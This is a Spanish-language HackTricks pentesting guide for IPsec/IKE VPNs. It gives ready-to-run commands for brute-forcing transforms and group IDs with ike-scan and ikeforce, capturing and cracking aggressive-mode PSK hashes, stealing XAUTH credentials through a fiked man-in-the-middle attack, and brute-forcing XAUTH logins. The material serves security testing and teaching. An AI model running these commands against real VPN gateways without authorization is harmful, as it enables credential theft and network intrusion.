# 500/udp - Pentesting IPsec/IKE VPN

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

</details>

**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## Información Básica

**IPsec** es ampliamente reconocido como la tecnología principal para asegurar comunicaciones entre redes (LAN a LAN) y de usuarios remotos a la puerta de enlace de la red (acceso remoto), sirviendo como la base para soluciones de VPN empresariales.

El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación e intercambio de claves. Este proceso se desarrolla en varias fases:

- **Fase 1:** Se crea un canal seguro entre dos puntos. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea modo principal, que implica tres pares de mensajes, o **modo agresivo**.
- **Fase 1.5:** Aunque no es obligatoria, esta fase, conocida como Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y contraseña.
- **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Secreto Perfecto Hacia Adelante (PFS)**, mejorando la seguridad.


**Puerto predeterminado:** 500/udp

## **Descubre** el servicio usando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Encontrar una transformación válida**

La configuración de IPSec puede estar preparada para aceptar solo una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de clave** y 28800 segundos como el **tiempo de vida**.

Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor pueda comunicarse contigo. Para hacerlo, puedes utilizar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete al gateway con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones en su interior**.

Dependiendo de la respuesta, puedes obtener información sobre el punto final:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (lo cual es realmente bueno para un pentester).\
**El valor de la última línea también es muy importante:**

* _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
* _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformados que propusiste son aceptables** (se mostrará un transformado válido en la salida).
* _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguno de los transformados es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).

Entonces, en este caso ya tenemos un transformado válido, pero si te encuentras en el tercer caso, entonces necesitas **probar un poco para encontrar un transformado válido:**

En primer lugar, necesitas crear todas las posibles transformaciones:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Y luego realizar fuerza bruta en cada uno utilizando ike-scan (esto puede llevar varios minutos):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin realizar apretones de manos incluso a transformaciones válidas. En ese caso, podrías intentar el mismo ataque de fuerza bruta pero utilizando el modo agresivo:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Con suerte, **una transformación válida se reflejará**.\
Puedes intentar el **mismo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)

En **Grupo DH: 14 = MODP de 2048 bits** y **15 = 3072 bits**\
**2 = HMAC-SHA = SHA1 (en este caso). El formato `--trans` es $Enc,$Hash,$Auth,$DH**

Cisco indica evitar el uso de los grupos DH 1 y 2 porque no son lo suficientemente fuertes. Los expertos creen que **los países con muchos recursos pueden romper fácilmente la encriptación** de datos que utilizan estos grupos débiles. Esto se logra mediante un método especial que los prepara para descifrar los códigos rápidamente. Aunque cuesta mucho dinero configurar este método, permite a estos países poderosos leer los datos encriptados en tiempo real si se está utilizando un grupo que no es fuerte (como 1,024 bits o menos).

### Identificación del servidor

Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de retransmitir. Luego, **analiza** la **diferencia de tiempo** entre los **mensajes recibidos** del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán el **carga útil de ID de proveedor (VID) opcional** con IKE.

**Especificar la transformación válida si es necesario** (usando --trans)

Si IKE descubre cuál es el proveedor, lo imprimirá:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Esto también se puede lograr con el script de nmap _**ike-version**_

## Encontrar el ID correcto (nombre de grupo)

Para poder capturar el hash necesitas una transformación válida que admita el modo Agresivo y el ID correcto (nombre de grupo). Probablemente no sepas el nombre de grupo válido, por lo que tendrás que probarlo mediante fuerza bruta.\
Para hacerlo, te recomendaría 2 métodos:

### Fuerza bruta de ID con ike-scan

En primer lugar, intenta hacer una solicitud con un ID falso para intentar recopilar el hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará un hash falso para un ID falso, por lo que este método no será confiable** para realizar fuerza bruta en el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):

![](<../.gitbook/assets/image (110).png>)

Pero como he mencionado, si no se devuelve ningún hash, entonces debes intentar realizar fuerza bruta en nombres de grupo comunes utilizando ike-scan.

Este script **intentará realizar fuerza bruta en posibles IDs** y devolverá los IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).

Si has descubierto una transformación específica, agrégala en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente).

Puedes utilizar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para realizar fuerza bruta en ellos:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Fuerza bruta de ID con Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para realizar fuerza bruta de posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.

### Fuerza bruta de ID con ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **realizar fuerza bruta de IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (puede haber falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).

Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a utilizar.

* El **primer método** es realizar fuerza bruta de los nombres de grupo **buscando** la información de **Detección de Pares Inactivos DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
* El **segundo método** disponible es **verificar el número de respuestas enviadas en cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
* El **tercer método** consiste en **buscar "INFORMACIÓN DE ID NO VÁLIDA" en respuesta a un ID incorrecto**.
* Finalmente, si el servidor no responde a las comprobaciones, **ikeforce** intentará realizar fuerza bruta en el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
Obviamente, el objetivo de la fuerza bruta del ID es obtener el **PSK** cuando se tiene un ID válido. Luego, con el **ID** y el **PSK**, deberás realizar fuerza bruta en el XAUTH (si está habilitado).

Si has descubierto una transformación específica, agrégala en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID

(From the book **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al husmear la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la ID del cliente se envía en texto claro

![](<../.gitbook/assets/image (111).png>)

## Capturando y descifrando el hash

Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si el **modo agresivo está permitido**, entonces puedes capturar fácilmente el hash que se puede descifrar:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
El hash se guardará dentro de _hash.txt_.

Puedes usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) y **hashcat** para **descifrar** el hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**El modo Aggressive IKE** combinado con una **Clave Precompartida (PSK)** se emplea comúnmente para fines de **autenticación de grupo**. Este método se ve reforzado por **XAuth (Autenticación Extendida)**, que sirve para introducir una capa adicional de **autenticación de usuario**. Esta autenticación suele aprovechar servicios como **Microsoft Active Directory**, **RADIUS**, u otros sistemas comparables.

Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Protocolo de Autenticación Extensible)** en lugar de **XAuth** con el propósito de autenticar usuarios. Este cambio destaca una evolución en las prácticas de autenticación dentro de los protocolos de comunicación segura.


### Ataque Man-in-the-Middle en la red local para capturar credenciales

Así puedes capturar los datos del inicio de sesión utilizando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el espionaje, lo cual se puede hacer con la ayuda de ARP spoofing, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Ataque de MitM y bloqueo de tráfico al puerto 500 usando IPSec

También, utilizando IPSec, intenta realizar un ataque de MitM y bloquear todo el tráfico al puerto 500. Si el túnel IPSec no puede establecerse, es posible que el tráfico se envíe en texto claro.

### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce

Para realizar un ataque de fuerza bruta en **XAUTH** (cuando se conoce un nombre de grupo válido **id** y el **psk**), puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
De esta manera, ikeforce intentará conectarse utilizando cada combinación de nombre de usuario: contraseña.

## Autenticación con una VPN IPSEC

En Kali, **VPNC** se utiliza para establecer túneles IPsec. Los **perfiles** deben estar ubicados en el directorio `/etc/vpnc/`. Puedes iniciar estos perfiles utilizando el comando _**vpnc**_.

Los siguientes comandos y configuraciones ilustran el proceso de configuración de una conexión VPN con VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
En esta configuración:

- Reemplace `[VPN_GATEWAY_IP]` con la dirección IP real del gateway VPN.
- Reemplace `[VPN_CONNECTION_ID]` con el identificador de la conexión VPN.
- Reemplace `[VPN_GROUP_SECRET]` con el secreto de grupo de la VPN.
- Reemplace `[VPN_USERNAME]` y `[VPN_PASSWORD]` con las credenciales de autenticación de la VPN.
- `[PID]` simboliza el ID de proceso que se asignará cuando `vpnc` se inicie.

Asegúrese de utilizar valores reales y seguros para reemplazar los marcadores de posición al configurar la VPN.

## Material de Referencia

* [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneo de una Implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Evaluación de Seguridad de Red 3ra Edición

## Shodan

* `port:500 IKE`

**Grupo de Seguridad Try Hard**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>